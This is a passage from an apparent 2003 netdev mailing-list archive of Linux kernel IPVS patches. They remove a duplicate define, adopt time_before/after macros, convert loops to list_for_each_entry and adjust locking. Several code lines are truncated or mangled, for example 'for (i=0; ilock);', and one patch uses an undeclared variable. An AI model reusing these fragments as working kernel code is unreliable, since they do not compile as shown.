1); - list_add(&dest->n_list, &svc->destinations); svc->num_dests++; @@ -838,11 +833,6 @@ write_lock_bh(&__ip_vs_svc_lock); - /* - * Wait until all other svc users go away. - */ - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); - list_add(&dest->n_list, &svc->destinations); svc->num_dests++; @@ -980,12 +970,6 @@ } write_lock_bh(&__ip_vs_svc_lock); - - /* - * Wait until all other svc users go away. - */ - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); - /* * Unlink dest from the service */ @@ -1118,11 +1102,6 @@ write_lock_bh(&__ip_vs_svc_lock); /* - * Wait until all other svc users go away. - */ - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); - - /* * Set the flags and timeout value */ svc->flags = u->flags | IP_VS_SVC_F_HASHED; @@ -1235,11 +1214,6 @@ ip_vs_svc_unhash(svc); - /* - * Wait until all the svc users go away. - */ - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1); - __ip_vs_del_service(svc); write_unlock_bh(&__ip_vs_svc_lock); @@ -1259,16 +1233,11 @@ /* * Flush the service table hashed by */ + write_lock_bh(&__ip_vs_svc_lock); for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { list_for_each_entry_safe(svc, nxt, &ip_vs_svc_table[idx], s_list) { - write_lock_bh(&__ip_vs_svc_lock); ip_vs_svc_unhash(svc); - /* - * Wait until all the svc users go away. - */ - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 0); __ip_vs_del_service(svc); - write_unlock_bh(&__ip_vs_svc_lock); } } @@ -1278,16 +1247,11 @@ for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { list_for_each_entry_safe(svc, nxt, &ip_vs_svc_fwm_table[idx], f_list) { - write_lock_bh(&__ip_vs_svc_lock); ip_vs_svc_unhash(svc); - /* - * Wait until all the svc users go away. - */ - IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 0); __ip_vs_del_service(svc); - write_unlock_bh(&__ip_vs_svc_lock); } } + write_unlock_bh(&__ip_vs_svc_lock); return 0; } @@ -1926,7 +1890,7 @@ static inline int __ip_vs_get_service_entries(const struct ip_vs_get_services *get, - struct ip_vs_get_services *uptr) + struct ip_vs_get_services __user *uptr) { int idx, count=0; struct ip_vs_service *svc; @@ -1966,7 +1930,7 @@ static inline int __ip_vs_get_dest_entries(const struct ip_vs_get_dests *get, - struct ip_vs_get_dests *uptr) + struct ip_vs_get_dests __user *uptr) { struct ip_vs_service *svc; int ret = 0; @@ -1981,6 +1945,7 @@ struct ip_vs_dest *dest; struct ip_vs_dest_entry entry; + read_lock_bh(&__ip_vs_svc_lock); list_for_each_entry(dest, &svc->destinations, n_list) { if (count >= get->num_dests) break; @@ -1994,15 +1959,25 @@ entry.activeconns = atomic_read(&dest->activeconns); entry.inactconns = atomic_read(&dest->inactconns); entry.persistconns = atomic_read(&dest->persistconns); + ip_vs_copy_stats(&entry.stats, &dest->stats); + + atomic_inc(&dest->refcnt); + read_unlock_bh(&__ip_vs_svc_lock); if (copy_to_user(&uptr->entrytable[count], &entry, sizeof(entry))) { ret = -EFAULT; break; } count++; + + read_lock_bh(&__ip_vs_svc_lock); + if (atomic_dec_and_test(&dest->refcnt)) + kfree(dest); + } ip_vs_service_put(svc); + read_unlock_bh(&__ip_vs_svc_lock); } else ret = -ESRCH; return ret; @@ -2043,7 +2018,7 @@ }; static int -do_ip_vs_get_ctl(struct sock *sk, int cmd, void *user, int *len) +do_ip_vs_get_ctl(struct sock *sk, int cmd, void __user *user, int *len) { unsigned char arg[128]; int ret = 0; From shemminger@osdl.org Tue Sep 16 14:26:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 14:26:28 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GLQGYa013915 for ; Tue, 16 Sep 2003 14:26:17 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GLPqo12060; Tue, 16 Sep 2003 14:25:52 -0700 Date: Tue, 16 Sep 2003 14:17:31 -0700 From: Stephen Hemminger To: Wensong Zhang Cc: lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: [PATCH] (1/6) ipvs -- get rid of SEQ_START_TOKEN define Message-Id: <20030916141731.276de60c.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5979 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Applies to 2.6.0-test5 with my seq_file patches from yesterday. Get rid of SEQ_START_TOKEN -- already defined in proc_fs.hdiff -Nru a/net/ipv4/ipvs/ip_vs_app.c b/net/ipv4/ipvs/ip_vs_app.c --- a/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:11 2003 +++ b/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:11 2003 @@ -485,8 +485,6 @@ /* * /proc/net/ip_vs_app entry function */ -#define SEQ_START_TOKEN ((void *)1) - static struct ip_vs_app *ip_vs_app_idx(loff_t pos) { loff_t off = 0; diff -Nru a/net/ipv4/ipvs/ip_vs_conn.c b/net/ipv4/ipvs/ip_vs_conn.c --- a/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:08:11 2003 +++ b/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:08:11 2003 @@ -616,8 +616,6 @@ */ #ifdef CONFIG_PROC_FS -#define SEQ_START_TOKEN ((void *)1) - static void *ip_vs_conn_array(struct seq_file *seq, loff_t pos) { struct list_head *e; diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c --- a/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:11 2003 +++ b/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:11 2003 @@ -1516,8 +1516,6 @@ int bucket; }; - -#define SEQ_START_TOKEN ((void *)1) /* * Write the contents of the VS rule table to a PROCfs file. * (It is kept just for backward compatibility) From shemminger@osdl.org Tue Sep 16 14:26:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 14:26:28 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GLQGYa013916 for ; Tue, 16 Sep 2003 14:26:17 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GLPqo12051; Tue, 16 Sep 2003 14:25:52 -0700 Date: Tue, 16 Sep 2003 14:22:27 -0700 From: Stephen Hemminger To: Wensong Zhang Cc: lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: [PATCH] (5/6) ipvs -- use time_before/after Message-Id: <20030916142227.6dddd19d.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5980 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Use time_before/after macros when comparing times. diff -Nru a/net/ipv4/ipvs/ip_vs_conn.c b/net/ipv4/ipvs/ip_vs_conn.c --- a/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:09:55 2003 +++ b/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:09:55 2003 @@ -743,7 +743,7 @@ /* if the conn entry hasn't lasted for 60 seconds, don't drop it. This will leave enough time for normal connection to get through. */ - if (cp->timeout+jiffies-cp->timer.expires < 60*HZ) + if (time_before(cp->timeout + jiffies, cp->timer.expires + 60*HZ)) return 0; /* Don't drop the entry if its number of incoming packets is not diff -Nru a/net/ipv4/ipvs/ip_vs_lblc.c b/net/ipv4/ipvs/ip_vs_lblc.c --- a/net/ipv4/ipvs/ip_vs_lblc.c Tue Sep 16 14:09:55 2003 +++ b/net/ipv4/ipvs/ip_vs_lblc.c Tue Sep 16 14:09:55 2003 @@ -295,8 +295,8 @@ write_lock(&tbl->lock); list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { - if ((now - en->lastuse) < - sysctl_ip_vs_lblc_expiration) + if (time_before(now, + en->lastuse + sysctl_ip_vs_lblc_expiration)) continue; ip_vs_lblc_free(en); @@ -350,7 +350,7 @@ write_lock(&tbl->lock); list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { - if ((now - en->lastuse) < ENTRY_TIMEOUT) + if (time_before(now, en->lastuse + ENTRY_TIMEOUT)) continue; ip_vs_lblc_free(en); diff -Nru a/net/ipv4/ipvs/ip_vs_lblcr.c b/net/ipv4/ipvs/ip_vs_lblcr.c --- a/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:09:55 2003 +++ b/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:09:55 2003 @@ -481,10 +481,10 @@ write_lock(&tbl->lock); list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { - if ((now - en->lastuse) < - sysctl_ip_vs_lblcr_expiration) { + if (time_after(en->lastuse+sysctl_ip_vs_lblcr_expiration, + now)) continue; - } + ip_vs_lblcr_free(en); atomic_dec(&tbl->entries); } @@ -536,7 +536,7 @@ write_lock(&tbl->lock); list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { - if ((now - en->lastuse) < ENTRY_TIMEOUT) + if (time_before(now, en->lastuse+ENTRY_TIMEOUT)) continue; ip_vs_lblcr_free(en); diff -Nru a/net/ipv4/ipvs/ip_vs_sync.c b/net/ipv4/ipvs/ip_vs_sync.c --- a/net/ipv4/ipvs/ip_vs_sync.c Tue Sep 16 14:09:55 2003 +++ b/net/ipv4/ipvs/ip_vs_sync.c Tue Sep 16 14:09:55 2003 @@ -206,8 +206,8 @@ struct ip_vs_sync_buff *sb; spin_lock_bh(&curr_sb_lock); - if (curr_sb && - (jiffies - curr_sb->firstuse > time || time == 0)) { + if (curr_sb && (time == 0 || + time_before(jiffies - curr_sb->firstuse, time))) { sb = curr_sb; curr_sb = NULL; } else From shemminger@osdl.org Tue Sep 16 14:26:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 14:26:29 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GLQGYa013917 for ; Tue, 16 Sep 2003 14:26:17 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GLPpo12043; Tue, 16 Sep 2003 14:25:51 -0700 Date: Tue, 16 Sep 2003 14:17:50 -0700 From: Stephen Hemminger To: Wensong Zhang , lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: [PATCH] (3/6) ipvs -- use list_for_each_entry macro's Message-Id: <20030916141750.53bbb04e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev There are many places where list_for_each_entry macro can be used in IPVS code. diff -Nru a/net/ipv4/ipvs/ip_vs_app.c b/net/ipv4/ipvs/ip_vs_app.c --- a/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_app.c Tue Sep 16 14:08:39 2003 @@ -214,18 +214,14 @@ */ void unregister_ip_vs_app(struct ip_vs_app *app) { - struct ip_vs_app *inc; - struct list_head *l = &app->incs_list; + struct ip_vs_app *inc, *nxt; down(&__ip_vs_app_mutex); - while (l->next != l) { - inc = list_entry(l->next, struct ip_vs_app, a_list); + list_for_each_entry_safe(inc, nxt, &app->incs_list, a_list) { ip_vs_app_inc_release(inc); } - list_del(&app->a_list); - up(&__ip_vs_app_mutex); /* decrease the module use count */ @@ -239,13 +235,11 @@ */ struct ip_vs_app *ip_vs_app_get_by_name(char *appname) { - struct list_head *p; struct ip_vs_app *app, *a = NULL; down(&__ip_vs_app_mutex); - list_for_each (p, &ip_vs_app_list) { - app = list_entry(p, struct ip_vs_app, a_list); + list_for_each_entry(ent, &ip_vs_app_list, a_list) { if (strcmp(app->name, appname)) continue; @@ -485,18 +479,15 @@ /* * /proc/net/ip_vs_app entry function */ + static struct ip_vs_app *ip_vs_app_idx(loff_t pos) { - loff_t off = 0; - struct list_head *e, *i; + struct ip_vs_app *app, *inc; - list_for_each(e, &ip_vs_app_list) { - struct ip_vs_app *app - = list_entry(e, struct ip_vs_app, a_list); - list_for_each (i, &app->incs_list) { - if (off == pos) - return list_entry(i, struct ip_vs_app, a_list); - ++off; + list_for_each_entry(app, &ip_vs_app_list, a_list) { + list_for_each_entry(inc, &app->incs_list, a_list) { + if (pos-- == 0) + return inc; } } return NULL; @@ -513,7 +504,7 @@ static void *ip_vs_app_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip_vs_app *inc, *app; - struct list_head *i, *e; + struct list_head *e; ++*pos; if (v == SEQ_START_TOKEN) @@ -522,14 +513,14 @@ inc = v; app = inc->app; - if ((i = inc->a_list.next) != &app->incs_list) - return list_entry(i, struct ip_vs_app, a_list); + if ((e = inc->a_list.next) != &app->incs_list) + return list_entry(e, struct ip_vs_app, a_list); /* go on to next application */ for (e = app->a_list.next; e != &ip_vs_app_list; e = e->next) { app = list_entry(e, struct ip_vs_app, a_list); - list_for_each (i, &app->incs_list) { - return list_entry(i, struct ip_vs_app, a_list); + list_for_each_entry(inc, &app->incs_list, a_list) { + return inc; } } return NULL; diff -Nru a/net/ipv4/ipvs/ip_vs_conn.c b/net/ipv4/ipvs/ip_vs_conn.c --- a/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:08:39 2003 @@ -189,14 +189,12 @@ { unsigned hash; struct ip_vs_conn *cp; - struct list_head *e; hash = ip_vs_conn_hashkey(protocol, s_addr, s_port); ct_read_lock(hash); - list_for_each(e, &ip_vs_conn_tab[hash]) { - cp = list_entry(e, struct ip_vs_conn, c_list); + list_for_each_entry(cp, &ip_vs_conn_tab[hash], c_list) { if (s_addr==cp->caddr && s_port==cp->cport && d_port==cp->vport && d_addr==cp->vaddr && protocol==cp->protocol) { @@ -242,7 +240,6 @@ { unsigned hash; struct ip_vs_conn *cp, *ret=NULL; - struct list_head *e; /* * Check for "full" addressed entries @@ -251,8 +248,7 @@ ct_read_lock(hash); - list_for_each(e, &ip_vs_conn_tab[hash]) { - cp = list_entry(e, struct ip_vs_conn, c_list); + list_for_each_entry(cp, &ip_vs_conn_tab[hash], c_list) { if (d_addr == cp->caddr && d_port == cp->cport && s_port == cp->dport && s_addr == cp->daddr && protocol == cp->protocol) { @@ -618,19 +614,17 @@ static void *ip_vs_conn_array(struct seq_file *seq, loff_t pos) { - struct list_head *e; int idx; - loff_t off = 0; + struct ip_vs_conn *cp; for(idx = 0; idx < IP_VS_CONN_TAB_SIZE; idx++) { ct_read_lock_bh(idx); - list_for_each(e, &ip_vs_conn_tab[idx]) { - if (off == pos) { + list_for_each_entry(cp, &ip_vs_conn_tab[idx], c_list) { + if (pos-- == 0) { seq->private = &ip_vs_conn_tab[idx]; - return list_entry(e, struct ip_vs_conn, c_list); + return cp; } - ++off; - } + } ct_read_unlock_bh(idx); } @@ -662,9 +656,9 @@ while (++idx < IP_VS_CONN_TAB_SIZE) { ct_read_lock_bh(idx); - list_for_each(e, &ip_vs_conn_tab[idx]) { + list_for_each_entry(cp, &ip_vs_conn_tab[idx], c_list) { seq->private = &ip_vs_conn_tab[idx]; - return list_entry(e, struct ip_vs_conn, c_list); + return cp; } ct_read_unlock_bh(idx); } @@ -769,7 +763,6 @@ { int idx; struct ip_vs_conn *cp; - struct list_head *e; struct ip_vs_conn *ct; /* @@ -783,8 +776,7 @@ */ ct_write_lock(hash); - list_for_each(e, &ip_vs_conn_tab[hash]) { - cp = list_entry(e, struct ip_vs_conn, c_list); + list_for_each_entry(cp, &ip_vs_conn_tab[hash], c_list) { if (!cp->cport && !(cp->flags & IP_VS_CONN_F_NO_CPORT)) /* connection template */ continue; @@ -836,7 +828,6 @@ { int idx; struct ip_vs_conn *cp; - struct list_head *e; struct ip_vs_conn *ct; flush_again: @@ -846,8 +837,7 @@ */ ct_write_lock_bh(idx); - list_for_each(e, &ip_vs_conn_tab[idx]) { - cp = list_entry(e, struct ip_vs_conn, c_list); + list_for_each_entry(cp, &ip_vs_conn_tab[idx], c_list) { atomic_inc(&cp->refcnt); ct_write_unlock(idx); diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c --- a/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:39 2003 @@ -279,7 +279,7 @@ static __inline__ unsigned ip_vs_svc_hashkey(unsigned proto, __u32 addr, __u16 port) { - unsigned porth = ntohs(port); + register unsigned porth = ntohs(port); return (proto^ntohl(addr)^(porth>>IP_VS_SVC_TAB_BITS)^porth) & IP_VS_SVC_TAB_MASK; @@ -363,14 +363,11 @@ { unsigned hash; struct ip_vs_service *svc; - struct list_head *l,*e; /* Check for "full" addressed entries */ hash = ip_vs_svc_hashkey(protocol, vaddr, vport); - l = &ip_vs_svc_table[hash]; - for (e=l->next; e!=l; e=e->next) { - svc = list_entry(e, struct ip_vs_service, s_list); + list_for_each_entry(svc, &ip_vs_svc_table[hash], s_list){ if ((svc->addr == vaddr) && (svc->port == vport) && (svc->protocol == protocol)) { @@ -391,14 +388,11 @@ { unsigned hash; struct ip_vs_service *svc; - struct list_head *l,*e; /* Check for fwmark addressed entries */ hash = ip_vs_svc_fwm_hashkey(fwmark); - l = &ip_vs_svc_fwm_table[hash]; - for (e=l->next; e!=l; e=e->next) { - svc = list_entry(e, struct ip_vs_service, f_list); + list_for_each_entry(svc, &ip_vs_svc_fwm_table[hash], f_list) { if (svc->fwmark == fwmark) { /* HIT */ atomic_inc(&svc->usecnt); @@ -482,7 +476,7 @@ */ static __inline__ unsigned ip_vs_rs_hashkey(__u32 addr, __u16 port) { - unsigned porth = ntohs(port); + register unsigned porth = ntohs(port); return (ntohl(addr)^(porth>>IP_VS_RTAB_BITS)^porth) & IP_VS_RTAB_MASK; @@ -535,7 +529,6 @@ { unsigned hash; struct ip_vs_dest *dest; - struct list_head *l,*e; /* * Check for "full" addressed entries @@ -543,11 +536,8 @@ */ hash = ip_vs_rs_hashkey(daddr, dport); - l = &ip_vs_rtable[hash]; - read_lock(&__ip_vs_rs_lock); - for (e=l->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, d_list); + list_for_each_entry(dest, &ip_vs_rtable[hash], d_list) { if ((dest->addr == daddr) && (dest->port == dport) && ((dest->protocol == protocol) || @@ -569,14 +559,11 @@ ip_vs_lookup_dest(struct ip_vs_service *svc, __u32 daddr, __u16 dport) { struct ip_vs_dest *dest; - struct list_head *l, *e; /* * Find the destination for the given service */ - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry(dest, &svc->destinations, n_list) { if ((dest->addr == daddr) && (dest->port == dport)) { /* HIT */ return dest; @@ -600,16 +587,12 @@ static struct ip_vs_dest * ip_vs_trash_get_dest(struct ip_vs_service *svc, __u32 daddr, __u16 dport) { - struct ip_vs_dest *dest; - struct list_head *l, *e; + struct ip_vs_dest *dest, *nxt; /* * Find the destination in trash */ - l = &ip_vs_dest_trash; - - for (e=l->next; e!=l; e=e->next) { - dest = list_entry(e, struct ip_vs_dest, n_list); + list_for_each_entry_safe(dest, nxt, &ip_vs_dest_trash, n_list) { IP_VS_DBG(3, "Destination %u/%u.%u.%u.%u:%u still in trash, " "refcnt=%d\n", dest->vfwmark, @@ -634,7 +617,6 @@ "from trash\n", dest->vfwmark, NIPQUAD(dest->addr), ntohs(dest->port)); - e = e->prev; list_del(&dest->n_list); ip_vs_dst_reset(dest); __ip_vs_unbind_svc(dest); @@ -657,13 +639,9 @@ */ static void ip_vs_trash_cleanup(void) { - struct ip_vs_dest *dest; - struct list_head *l; - - l = &ip_vs_dest_trash; + struct ip_vs_dest *dest, *nxt; - while (l->next != l) { - dest = list_entry(l->next, struct ip_vs_dest, n_list); + list_for_each_entry_safe(dest, nxt, &ip_vs_dest_trash, n_list) { list_del(&dest->n_list); ip_vs_dst_reset(dest); __ip_vs_unbind_svc(dest); @@ -1198,8 +1176,7 @@ */ static void __ip_vs_del_service(struct ip_vs_service *svc) { - struct list_head *l; - struct ip_vs_dest *dest; + struct ip_vs_dest *dest, *nxt; struct ip_vs_scheduler *old_sched; ip_vs_num_services--; @@ -1220,9 +1197,7 @@ /* * Unlink the whole destination list */ - l = &svc->destinations; - while (l->next != l) { - dest = list_entry(l->next, struct ip_vs_dest, n_list); + list_for_each_entry_safe(dest, nxt, &svc->destinations, n_list) { __ip_vs_unlink_dest(svc, dest, 0); __ip_vs_del_dest(dest); } @@ -1279,16 +1254,13 @@ static int ip_vs_flush(void) { int idx; - struct ip_vs_service *svc; - struct list_head *l; + struct ip_vs_service *svc, *nxt; /* * Flush the service table hashed by */ for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - l = &ip_vs_svc_table[idx]; - while (l->next != l) { - svc = list_entry(l->next,struct ip_vs_service,s_list); + list_for_each_entry_safe(svc, nxt, &ip_vs_svc_table[idx], s_list) { write_lock_bh(&__ip_vs_svc_lock); ip_vs_svc_unhash(svc); /* @@ -1304,9 +1276,8 @@ * Flush the service table hashed by fwmark */ for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - l = &ip_vs_svc_fwm_table[idx]; - while (l->next != l) { - svc = list_entry(l->next,struct ip_vs_service,f_list); + list_for_each_entry_safe(svc, nxt, + &ip_vs_svc_fwm_table[idx], f_list) { write_lock_bh(&__ip_vs_svc_lock); ip_vs_svc_unhash(svc); /* @@ -1336,12 +1307,10 @@ static int ip_vs_zero_service(struct ip_vs_service *svc) { - struct list_head *l; struct ip_vs_dest *dest; write_lock_bh(&__ip_vs_svc_lock); - list_for_each (l, &svc->destinations) { - dest = list_entry(l, struct ip_vs_dest, n_list); + list_for_each_entry(dest, &svc->destinations, n_list) { ip_vs_zero_stats(&dest->stats); } ip_vs_zero_stats(&svc->stats); @@ -1352,19 +1321,16 @@ static int ip_vs_zero_all(void) { int idx; - struct list_head *l; struct ip_vs_service *svc; for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - list_for_each (l, &ip_vs_svc_table[idx]) { - svc = list_entry(l, struct ip_vs_service, s_list); + list_for_each_entry(svc, &ip_vs_svc_table[idx], s_list) { ip_vs_zero_service(svc); } } for(idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - list_for_each (l, &ip_vs_svc_fwm_table[idx]) { - svc = list_entry(l, struct ip_vs_service, f_list); + list_for_each_entry(svc, &ip_vs_svc_fwm_table[idx], f_list) { ip_vs_zero_service(svc); } } @@ -1540,26 +1506,26 @@ { struct ip_vs_iter *iter = seq->private; int idx; - struct list_head *e; + struct ip_vs_service *svc; /* look in hash by protocol */ for (idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - list_for_each(e, &ip_vs_svc_table[idx]) { + list_for_each_entry(svc, &ip_vs_svc_table[idx], s_list) { if (pos-- == 0){ iter->table = ip_vs_svc_table; iter->bucket = idx; - return list_entry(e, struct ip_vs_service, s_list); + return svc; } } } /* keep looking in fwmark */ for (idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - list_for_each(e, &ip_vs_svc_fwm_table[idx]) { + list_for_each_entry(svc, &ip_vs_svc_fwm_table[idx], f_list) { if (pos-- == 0) { iter->table = ip_vs_svc_fwm_table; iter->bucket = idx; - return list_entry(e, struct ip_vs_service, f_list); + return svc; } } } @@ -1595,8 +1561,9 @@ while (++iter->bucket < IP_VS_SVC_TAB_SIZE) { - list_for_each(e, &ip_vs_svc_table[iter->bucket]) { - return list_entry(e, struct ip_vs_service, s_list); + list_for_each_entry(svc,&ip_vs_svc_table[iter->bucket], + s_list) { + return svc; } } @@ -1611,8 +1578,9 @@ scan_fwmark: while (++iter->bucket < IP_VS_SVC_TAB_SIZE) { - list_for_each(e, &ip_vs_svc_fwm_table[iter->bucket]) - return list_entry(e, struct ip_vs_service, f_list); + list_for_each_entry(svc, &ip_vs_svc_fwm_table[iter->bucket], + f_list) + return svc; } return NULL; @@ -1962,15 +1930,13 @@ { int idx, count=0; struct ip_vs_service *svc; - struct list_head *l; struct ip_vs_service_entry entry; int ret = 0; for (idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - list_for_each (l, &ip_vs_svc_table[idx]) { + list_for_each_entry(svc, &ip_vs_svc_table[idx], s_list) { if (count >= get->num_services) goto out; - svc = list_entry(l, struct ip_vs_service, s_list); ip_vs_copy_service(&entry, svc); if (copy_to_user(&uptr->entrytable[count], &entry, sizeof(entry))) { @@ -1982,10 +1948,9 @@ } for (idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - list_for_each (l, &ip_vs_svc_fwm_table[idx]) { + list_for_each_entry(svc, &ip_vs_svc_fwm_table[idx], f_list) { if (count >= get->num_services) goto out; - svc = list_entry(l, struct ip_vs_service, f_list); ip_vs_copy_service(&entry, svc); if (copy_to_user(&uptr->entrytable[count], &entry, sizeof(entry))) { @@ -2014,14 +1979,12 @@ if (svc) { int count = 0; struct ip_vs_dest *dest; - struct list_head *l, *e; struct ip_vs_dest_entry entry; - l = &svc->destinations; - for (e=l->next; e!=l; e=e->next) { + list_for_each_entry(dest, &svc->destinations, n_list) { if (count >= get->num_dests) break; - dest = list_entry(e, struct ip_vs_dest, n_list); + entry.addr = dest->addr; entry.port = dest->port; entry.conn_flags = atomic_read(&dest->conn_flags); diff -Nru a/net/ipv4/ipvs/ip_vs_lblc.c b/net/ipv4/ipvs/ip_vs_lblc.c --- a/net/ipv4/ipvs/ip_vs_lblc.c Tue Sep 16 14:08:39 2003 +++ b/net/ipv4/ipvs/ip_vs_lblc.c Tue Sep 16 14:08:39 2003 @@ -246,15 +246,12 @@ { unsigned hash; struct ip_vs_lblc_entry *en; - struct list_head *l,*e; hash = ip_vs_lblc_hashkey(addr); - l = &tbl->bucket[hash]; read_lock(&tbl->lock); - for (e=l->next; e!=l; e=e->next) { - en = list_entry(e, struct ip_vs_lblc_entry, list); + list_for_each_entry(en, &tbl->bucket[hash], list) { if (en->addr == addr) { /* HIT */ read_unlock(&tbl->lock); @@ -274,14 +271,11 @@ static void ip_vs_lblc_flush(struct ip_vs_lblc_table *tbl) { int i; - struct list_head *l; - struct ip_vs_lblc_entry *en; + struct ip_vs_lblc_entry *en, *nxt; for (i=0; ilock); - for (l=&tbl->bucket[i]; l->next!=l; ) { - en = list_entry(l->next, - struct ip_vs_lblc_entry, list); + list_for_each_entry_safe(en, nxt, &tbl->bucket[i], list) { ip_vs_lblc_free(en); atomic_dec(&tbl->entries); } @@ -294,21 +288,17 @@ { unsigned long now = jiffies; int i, j; - struct list_head *l, *e; - struct ip_vs_lblc_entry *en; + struct ip_vs_lblc_entry *en, *nxt; for (i=0, j=tbl->rover; ibucket[j]; + write_lock(&tbl->lock); - while (e->next != l) { - en = list_entry(e->next, - struct ip_vs_lblc_entry, list); + list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { if ((now - en->lastuse) < - sysctl_ip_vs_lblc_expiration) { - e = e->next; + sysctl_ip_vs_lblc_expiration) continue; - } + ip_vs_lblc_free(en); atomic_dec(&tbl->entries); } @@ -335,8 +325,7 @@ unsigned long now = jiffies; int goal; int i, j; - struct list_head *l, *e; - struct ip_vs_lblc_entry *en; + struct ip_vs_lblc_entry *en, *nxt; tbl = (struct ip_vs_lblc_table *)data; @@ -358,15 +347,12 @@ for (i=0, j=tbl->rover; ibucket[j]; + 